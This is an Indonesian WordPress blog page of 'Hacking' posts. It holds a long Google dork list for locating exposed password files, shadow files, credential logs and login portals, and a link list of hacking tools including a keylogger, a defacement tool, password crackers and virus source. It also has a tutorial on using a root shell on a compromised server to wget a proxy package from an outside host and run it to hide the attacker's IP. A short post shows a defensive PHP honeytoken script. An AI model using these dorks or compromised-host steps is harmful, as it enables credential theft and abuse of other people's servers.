Hacking « my Blog

Diproteksi: MEMANFAATKAN SHELL SAVE MODE ON

12 September 2007 Ditulis oleh palzum | Hacking | | No Comments Yet

GoogleHack

Hatta Alttada arama kodlarını verım bari

“A syntax error has occurred” filetype:ihtml
“access denied for user” “using password”
“A syntax error has occurred” filetype:ihtml
“access denied for user” “using password”
“Can’t connect to local” intitle:warning
“detected an internal error [IBM][CLI Driver][DB2/6000]“
“Fatal error: Call to undefined function”
“Incorrect syntax near”
“ORA-00933: SQL command not properly ended”
“PostgreSQL query failed: ERROR: parser: parse error”
“Supplied argument is not a valid MySQL result resource”
“Syntax error in query expression “
“Unclosed quotation mark before the character string”
“Warning: Cannot modify header information – headers already sent”
An unexpected token “END-OF-STATEMENT” was found
Coldfusion Error Pages
filetype:asp “Custom Error Message” Category Source
Internal Server Error
intitle:”Error Occurred” “The error occurred in” filetype:cfm
intitle:”Execution of this script not permitted”
intitle:”Under construction” “does not currently have”
MYSQL error message: supplied argument….
mysql error with query
ORA-00921: unexpected end of SQL command
ORA-00936: missing expression
sitebuildercontent
sitebuilderfiles
sitebuilderpictures
SQL syntax error
Supplied argument is not a valid PostgreSQL result
warning “error on line” php sablotron

Kullanıcı İsimleri-Açıklama yapmaya gerek var mı? Kullanıcı isimlerini buluyor.
“index of” / lck
+intext:”webalizer” +intext:”Total Usernames” +intext:”Usage Statistics for”
bash_history files
filetypef inurlroftpd.conf -sample
filetype:log username putty
filetype:reg reg +intext:”internet account manager
filetype:reg reg HKEY_CURRENT_USER username
index.of perform.ini
inurl:admin filetype:asp inurl:userlist
inurl:admin inurl:userlist
inurlhp inurl:hlstats intext:”Server Username”
sh_history files

Şifreler-En önemli ayrıntılar…
allinurl: admin mdb
auth_user_file.txt
config.php
eggdrop filetype:user user
etc (index.of)
filetype:cfm “cfapplication name” password
filetypef slapd.conf
filetype:dat “password.dat”
filetype:inc intext:mysql_connect
filetype:log inurl:”password.log”
filetypeem intextrivate
filetyperoperties inurl:db intextassword
filetype:reg reg +intext:”defaultusername” +intext:”defaultpassword”
filetype:reg reg HKEY_CURRENT_USER SSHHOSTKEYS
filetype:url +inurl:”ftp://” +inurl:”;@”
filetype:xls username password email
htpasswd
htpasswd / htgroup
htpasswd / htpasswd.bak
intitle:”index of” intextnect.inc
intitle:”index of” intext:globals.inc
intitle:index.of administrators.pwd
intitle:Index.of etc shadow
intitle:index.of secring.pgp
inurl:”wvdial.conf” intext:”password”
inurlfig.php dbuname dbpass
inurlerform filetype:ini
inurl:vtund.conf intextass -cvs
master.passwd
mysql history files
passlist
passlist.txt (a better way)
passwd
passwd / etc (reliable)
people.lst

PGP Keys
pwd.db
spwd.db / passwd
trillian.ini

İlginç bilgiler: kullanıcı ismi ve şifre yok ama site hakkında önemli bilgilere ulaşabilirsiniz
“#mysql dump” filetype:sql
“generated by wwwstat”
“Host Vulnerability Summary Report”
“HTTP_FROM=googlebot” googlebot.com “Server_Software=”
“Index of” / “chat/logs”
“Mecury Version” “Infastructure Group”
“Most Submitted Forms and Scripts” “this section”
“Network Vulnerability Assessment Report”
“not for distribution” confidential
“phpMyAdmin” “running on” inurl:”main.php”
“produced by getstats”
“Request Details” “Control Tree” “Server Variables”
“robots.txt” “Disallow:” filetype:txt
“robots.txt” “Disallow:” filetype:txt
“Running in Child mode”
“Thank you for your order” +receipt
“This is a Shareaza Node”
“This report was generated by WebLog”
AIM buddy lists
allinurl:/examples/jsp/snp/snoop.jsp
allinurl:servlet/SnoopServlet
cgiirc.conf
cgiirc.conf
filetype:blt blt +intext:screenname
filetypef inurl:firewall -intitle:cvs
filetype:eml eml +intext:”Subject” +intext:”From” +intext:”To”
filetype:lic lic intext:key
filetype:log access.log -CVS
filetype:mbx mbx intext:Subject
filetype:wab wab
haccess.ctl
ICQ chat logs, please…
iletype:log cron.log
intext:”Tobias Oetiker” “traffic analysis”
intitle:”Big Sister” +”OK Attention Trouble”
intitle:”index of” mysql.conf OR mysql_config
intitle:”statistics of” “advanced web statistics”
intitle:”System Statistics” +”System and Network Information Center”
intitle:”Usage Statistics for” “Generated by Webalizer”
intitle:”wbem” compaq login
intitle:admin intitle:login
intitle:index.of “Apache” “server at”
intitle:index.of cleanup.log
intitle:index.of dead.letter
intitle:index.of inbox
intitle:index.of inbox dbx
intitle:index.of ws_ftp.ini
intitle:intranet inurl:intranet +intext:”phone”
inurl:”/cricket/grapher.cgi”
inurl:”cacti” +inurl:”graph_view.php” +”Settings Tree View” -cvs -RPM
inurl:”newsletter/admin/”
inurl:”newsletter/admin/” intitle:”newsletter admin”
inurl:”smb.conf” intext:”workgroup” filetypef conf
inurl:admin filetype:xls
inurl:admin intitle:login
inurl:cgi-bin/printenv
inurl:changepassword.asp
inurl:fcgi-bin/echo
inurl:main.php phpMyAdmin
inurl:main.php Welcome to phpMyAdmin
inurlerl/printenv
inurlhp.ini filetype:ini
inurl:server-info “Apache Server Information”
inurl:server-status “apache”
inurl:tdbin
inurl:vbstats.php “page generated”
ipsec.conf
ipsec.secrets
ipsec.secrets
mt-db-pass.cgi files
mystuff.xml – Trillian data files
“phpinfo.php” -manual
“# phpMyAdmin MySQL-Dump” “INSERT INTO” -”the”
intitle:index.of robots.txt
site:edu admin grades
“# Dumping data for table”
“cacheserverreport for” “This analysis was produced by calamaris”
+htpasswd +WS_FTP.LOG filetype:log
intitle:admin intitle:login

Login Portalları-sisteme giriş kapıları
“please log in”
“VNC Desktop” inurl:5800
“Web Control Panel” “Enter your password here”
allinurl:”exchange/logon.asp”
intitle:”ColdFusion Administrator Login”
intitle:”Dell Remote Access Controller”
intitle:”MikroTik RouterOS Managing Webpage”
intitle:”Remote Desktop Web Connection” inurl:tsweb
inurl:”:10000″ intext:webmin
inurl:/admin/login.asp
inurl:/Citrix/Nfuse17/
inurl:citrix/****framexp/default/login.asp
inurl:login filetype:swf swf
inurl:login.asp
inurl:login.cfm
inurl:names.nsf?opendatabase
url:webadmin” filetype:nsf

Network bilgileri, firewall log’ları, IDS kayıtları
“Network Host Assessment Report” “Internet Scanner”
“SnortSnarf alert page”
“This file was generated by Nessus”
“This report lists” “identified by Internet Scanner”
filetypedf “Assessment Report” nessus
filetype:vsd vsd network -samples -examples
inurlhpSysInfo/ “created by phpsysinfo”

Önemli Klasörler
“index of cgi-bin”
“index of” inurl:recycler
“Welcome to phpMyAdmin” ” Create new database”
index.of.password
intitle:”Index of c:Windows”
intitle:”Index of” cfide
intitle:”index.of.personal”
intitle:intranet inurl:intranet +intext:”human resources”
inurl:/pls/sample/admin_/help/
inurl:/tmp
inurl:backup intitle:index.of inurl:admin
inurl:j2ee/examples/jsp
inurljspdemos
“Index of /backup”
index.of.private
index.of.protected
index.of.secret
index.of.secure
index.of.winnt

Güvenlik Açığı Olan Sunucular
“Select a database to view” intitle:”filemaker pro”
“Welcome to Intranet”
“Welcome to PHP-Nuke” congratulations
“YaBB SE Dev Team”
allinurl:install/install.php
allinurl:intranet admin
Gallery in configuration mode
Hassan Consulting’s Shopping Cart Version 1.18
intitle:”Gateway Configuration Menu”
intitle:”osCommerce” inurl:admin filetypehp
intitle:”Remote Desktop Web Connection”
intitle:”Samba Web Administration Tool” intext:”Help Workgroup”
intitle:”Terminal Services Web Connection”
inurl:footer.inc.php
inurl:info.inc.php
inurl:ManyServers.htm
inurlls/admin_/gateway.htm
inurl:search.php vbulletin

Web sunucularını öğrenmek
“seeing this instead” intitle:”test page for apache”
aboutprinter.shtml (More Xerox printers on the web!)
allintitle:Netscape FastTrack Server Home Page
intitle:”Apache HTTP Server” intitle:”documentation”
intitle:”Welcome to IIS 4.0″
index_i.shtml Ready (Xerox printers on the web!)
intitle:”300 multiple choices”
intitle:”Test Page for Apache”
intitle:”Test Page for Apache” “It Worked!”
intitle:”Test Page for Apache” “It Worked!” “on this web”
intitle:Snap.Server inurl:Func=
inurl:domcfg.nsf
inurl:tech-support inurl:show Cisco

10 September 2007 Ditulis oleh palzum | Hacking | | No Comments Yet

Tips: Menjebak Hacker

Account Webmail adalah target utama hacker/cracker/phiser, bisa dikatakan account webmail adalah harta karun yang harus kita jaga baik-baik, jangan sampai orang lain tahu.

Kerahasiaan informasi webmail kadangkala lebih penting daripada account bank
online kita.

Jika webmail kita dihack, semua informasi penting termasuk login bank, administrasi situs, dan semua website yang berhubungan dengan webmail kita (yang menggunakan sistem kirim password ke email jika kita lupa) bisa-bisa dibobol juga.

Bahkan di dalam sebuah wawancara, seorang phisher mengaku bisa memperoleh ribuan dolar setiap harinya dengan membobol email account dan mengumpulkan informasi finansial yang berharga di dalamnya [ http://find.pcworld.com/57837].

Masalahnya adalah kita tidak pernah tahu jika account webmail kita pernah dibobol atau tidak, kecuali jika kita sudah tidak bisa login memakai informasi password yang kita tentukan, yang berarti telah ada hacker yang masuk ke webmail kita dan merubah password webmail tersebut. Dan bisa saja sang hacker setelah membaca email kita kemudian menandainya sebagai belum terbaca (unread), yang kita tidak akan pernah sadar jika email tersebut telah dibaca orang.

Untuk mendeteksi kemungkinan dibobolnya email kita, bisa dengan menyelipkan script dari situs hit counter ke dalam email sehingga jika ada yang membukanya otomatis hit counter akan bertambah, seperti dibahas di
http://www.stuff.web.id/2007/08/tips-berburu-maling.html.

Sebagai alternatif, kita bisa membuat sendiri script PHP sederhana seperti berikut:

/*
Alarm pendeteksi hacker untuk Webmail
By dktrooper/at/stuff.web.id
*/
putenv(“TZ=SE Asian Standar Time/Jakarta”);
$gmt_dif = +7; // Beda waktu dengan GMT
$timestamp = time() + 60*60*($gmt_dif); // Hitung jam
$date = date(‘F-j-Y’, $timestamp);
$time = date(‘g:i a’, $timestamp);
$fp = fopen(‘xlogs.txt’,'a’);
fputs($fp, “IP: “.getenv(‘REMOTE_ADDR’).”\nBROWSER: “.getenv(‘HTTP_USER_AGENT’).”\nDATE: “. $date.” “.$time.”\n\n”); // Catat Log
fclose($fp);
?>

Simpan dengan nama access_logs.php. Buat file xlogs.txt (atur permisinya ke 777 sehingga bisa ditulisi oleh nobody) dan juga file htacces seperti di bawah:

RewriteEngine On
RewriteRule ^passwordku.html$ access_logs.php

Sehingga semua request ke passwordku.html akan diarahkan ke access_logs.php (mirip dengan trik yang saya terapkan dalam kasus

detikinet [ http://www.stuff.web.id/2007/07/beware-of-hotlinking.html])

Ok, jebakan sudah, sekarang saatnya kita buat umpan. Tulis email dalam format html yang isinya daftar user+password palsu dan tambahkan skrip ini (dalam mode html):

style=”display:none;”>

Beri subject: “Password Penting” dan kirim ke email Anda sendiri (atau semua email yang perlu dimata-matai) Apabila format html tidak diperbolehkan, bisa pakai format teks biasa dan tambahkan http://situs-anda.org/passwordku.html, sehingga hacker akan tertarik dan mengunjungi halaman jebakan yang telah disiapkan.

Apabila ada yang membuka email atau link tersebut, maka hasil Lognya seperti berikut:

IP: x.x.x.x
BROWSER: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3
DATE: August-08-2007 23:33 pm

Alternatif lain, selain mencatatnya ke file xlogs.txt, kita bisa mengirim log di atas ke email kita setiap ada yang mengakses

file passwordku.html, dengan menambahkan beberapa baris skrip pada access_logs.php sehingga menjadi:

Sebagai usaha pencegahan, jangan pernah menyimpan informasi rahasia dalam email, karena walaupun pelakunya bisa ketahuan, mungkin data-data penting atau bahkan account bank kita sudah diobok-obok terlebih dulu.

Mudah-mudahan bermanfaat.

18 Agustus 2007 Ditulis oleh palzum | Hacking | | No Comments Yet

FREE – ALL Download

Di halaman ini tersedia banyak sekali program yang siap di download seperti program hacker, program multimedia, program perbaikan komputer, program mempercepat komputer, Anti Virus, Emulator, program bahasa pemograman, source virus populer, script mIRC, Program booting dan masih banyak lagi.
Program Penting untuk Extract ZIP dan RAR
- Download Winrar v2.9 : Untuk mengextract file kompresi dengan ekstensi RAR dan ZIP.
Program-program hacker :
- Download XDeepFreeze : Untuk melumpuhkan DeepFreeze pada komputer
- Download LanDiscovery v1.0 : Untuk masuk ke komputer lain dengan default share
- Download Internet Maniac dan PQwak : Untuk melumpuhkan password share pada komputer lain
- Download 007 Password Recovery : Untuk melumpuhkan password dial up
- Downloa Child Safe : Keylogger dengan fasilitas terlengkap
- Download Void Eye : Program deface website untuk server berbasis IIS (Ms Windows)
- Download Proactive Windows Security Explorer : Untuk dapatkan password login admistrator Windows XP
- Download HennestScript IRC v0.61: Script Inviter terfungsional (versi YFC) (Butuh sedikit trik dan keahlian)
- Download Radmin : Program untuk remote computer
- Download Internet Download Manager : Program untuk download sangat cepat diwarnet atau kampus.
- Download Award Bios Cracker : Program untuk mengetahui password bios award
- Download Open Password : Program untuk membuka password pada windows yang di masked
- Download Rar Archive Cracker : program untuk membobol archive rar yang dipassword
- Download WinNuke 95 : program untuk mengenuke komputer orang dalam jaringan
- Download Cain 1.0b : Program untuk mengetahui password screen saver, user, network dan lainnya
- Download Hacker’s Utility v1.02 : Program untuk hacking program windows 95/98/NT dan lainnya
- Download Ultra Zip Password Cracker v3.61 : Program untuk mengcrack file Zip yang dipassword
- Download program RePWL v3.01 : Program untuk mengetahui berbagai password di Windows dari file PWL
- Download program 7th Sphere Edition : Program Scanner Port paling mudah dan cepat digunakan
- Download program Angry Ip Scanner : Program Scanner Port dengan fasilitas plus
- Download program LissovSky Scan : Program Scanner Port dengan fasilitas tambahan
- Download WinXP.Activation.v1.1.English : Program untuk mengaktifkan Windows XP
- Download file hack.zip : Untuk melakukan explorasi pada webserver APACHE
- Download source code PHP untuk mengirim e-mail palsu
- Download program Anti MyHeart & Roro : Program untuk membersihkan virus AntiMyHeart & Roro

DOWNLOAD ECHO-ZINE RELEASE FULL VERSION (Terlengkap)
- Download EZINE#1 = 37 KB
- Download EZINE#2 = 39 KB
- Download EZINE#3 = 48 KB
- Download EZINE#4 = 38 KB
- Download EZINE#5 = 74 KB
- Download EZINE#6 = 43 KB
- Download EZINE#7 = 129 KB
- Download EZINE#8 = 88 KB
- Download EZINE#9

16 Agustus 2007 Ditulis oleh palzum | Hacking | | No Comments Yet

Tips Pembuatan IP / Proxy Spoofing [ Fake Proxy ]

Pernahkan rekan-rekan mengalami kesulitan bila mengakses suatu site ? kadang IP kita diblok / dibanned [ entah kesalahan siapa ] sehingga kita tidak bisa memasuki suatu halaman situs. Agar kita bisa melewati ini maka diperlukan suatu bantuan pihak ke 3 agar kita bisa masuk ke dalam hal situs tersebut, pihak ke 3 yang dimaksud adalah pihak yang menyediakan jasa proxy anonymouse [ hidden proxy ] baik gratis maupun yang tidak gratis [ bayar ]. Banyak sekali rujukan site yang menyediakan Proxy Anonymouse tersebut , seperti antiproxy.com, samair.ru/proxy, dll.
Disini penulis akan coba memberikan tips membuat proxy sendiri, [ ini yang sering dilakukan seorang Hacker untuk melakukan Spoofing IP agar dapat menyusup kedalam target agar IP asli Hacker tidak kelihatan ] .
Ok’s ga usah panjang lebar langsung aja , pertama kali anda harus mempunyai target injeckan atau Shell [ kalo ga punya target cari di www.milw0rm.com or situs underground, jangan tanya penulis karena penulis juga bingung ].
Anggap penulis asumsikan anda telah dapat target [ entah uda root atau masih dalam injeckan ], Btw lansung aja, penulis jalankan Putty terus konek ke root target

wget untuk mengambil file mentah proxy.tgz, perintahnya adalah
Wget http://site.com/proxy.tgz [ terserah anda taruh dimana file mentah proxy.tgz]
Lihat di dalam gambar bila berhasil akan nampak seperti gambar dibawah bahwa file proxy.tgz [ file mentah ] sudah masuk kedalam root target

Kemudian extract file proxy.tgz dengan perintah tar –zxvf proxy.tgz

Kemudian masuk kedalam Folder Pro, dengan perintah cd pro

Kemudian Buat proxy dengan perintah ./prox –d –a –p8889 [ terserah anda untuk memasukkan port berapa, penulis lebih senang make port 8889 gampang diinget ]

Cek apakah proxy sudah berjalan sesuai yang kita inginkan dengan perintah ps –x [seperti gue jago linux, padahal mah ga ngerti linux heuehueMaka akan tampil diproses background seperti yang nampak di bawah ini]

Untuk pengecekan anda buka IE anda or Mozilla kemudian brosing ke http://www.cmyip.com/ lihat IP asli anda

Nah ini adalah IP asli anda sekarang untuk merubah IP asli ke dalam proxy buatan kita cukup gampang, yaitu dengan klik option pada IE or Mozilla kemudian klik Connection setting masukan IP dan port buatan kita

klik Ok , kembali ke haalamn situs cek kembali lewat http://www.cmyip.com/

Ups kita berhasil melakukan spoofing IP / Fake Port , sekarang posisi kita bermain adalah di Negara Swedia , dan kemungkinan kecil IP asli kita dapat terdeteksi.

cukup jelas tulisan dari seorang Newbie yang ingin berbagi pengalaman kepada rekan-rekan IT

Note : Untuk hal ini pergunakan dengan bijaksana, jangan pergunakan untuk keperluan merusak atau untuk keperluan carding [ ingat IP Negara kita termasuk yang diblaklist oleh hampir semua Negara ].

Penulis menulis ini karena penulis dulu [ waktu muda kale ya ]kesulitan sewaktu mengakses suatu situs karena IP warnet tempat penulis di Banned .

9 Agustus 2007 Ditulis oleh palzum | Hacking | | No Comments Yet

« Entri Sebelumnya

Pencarian untuk:
Kategori
- Anti virus
- Belum Ada Judul
- Browser
- Chat MIRC
- Fun
- Games
- Hacking
- Linux
- Mikrotik
- Networking
- Photoshop
- Resep
- Scripting
- Sekuriti
- Seluler
- Tip's
- Wanita
- Windows
Arsip
Blog
Forum
- Forum Linux ID
- IndoMP3
November 2009

S S R K J S M

« Okt

1

2 3 4 5 6 7 8

9 10 11 12 13 14 15

16 17 18 19 20 21 22

23 24 25 26 27 28 29

30
Kategori Awan

Anti virus Belum Ada Judul Browser Chat MIRC Fun Games Hacking Linux Mikrotik Networking Photoshop Resep Scripting Sekuriti Seluler Tip's Wanita Windows

November 2009
S	S	R	K	J	S	M
« Okt
	1
2	3	4	5	6	7	8
9	10	11	12	13	14	15
16	17	18	19	20	21	22
23	24	25	26	27	28	29
30

Arsip
- Oktober 2007 (17)
- September 2007 (11)
- Agustus 2007 (14)
- Juli 2007 (8)
- Juni 2007 (16)
- Maret 2007 (6)
Kategori
- Anti virus
- Belum Ada Judul
- Browser
- Chat MIRC
- Fun
- Games
- Hacking
- Linux
- Mikrotik
- Networking
- Photoshop
- Resep
- Scripting
- Sekuriti
- Seluler
- Tip's
- Wanita
- Windows
RSS
RSS Entri
Komentar RSS

my Blog

Just another WordPress.com weblog

Diproteksi: MEMANFAATKAN SHELL SAVE MODE ON

GoogleHack

Tips: Menjebak Hacker

FREE – ALL Download

Tips Pembuatan IP / Proxy Spoofing [ Fake Proxy ]

About

Kategori

Arsip

Blog

Forum

Arsip

Kategori

RSS

Site info

my Blog

Just another WordPress.com weblog

Diproteksi: MEMANFAATKAN SHELL SAVE MODE ON

GoogleHack

Tips: Menjebak Hacker

FREE – ALL Download

Tips Pembuatan IP / Proxy Spoofing [ Fake Proxy ]

About

Kategori

Arsip

Blog

Forum

Kategori Awan

Arsip

Kategori

RSS

Site info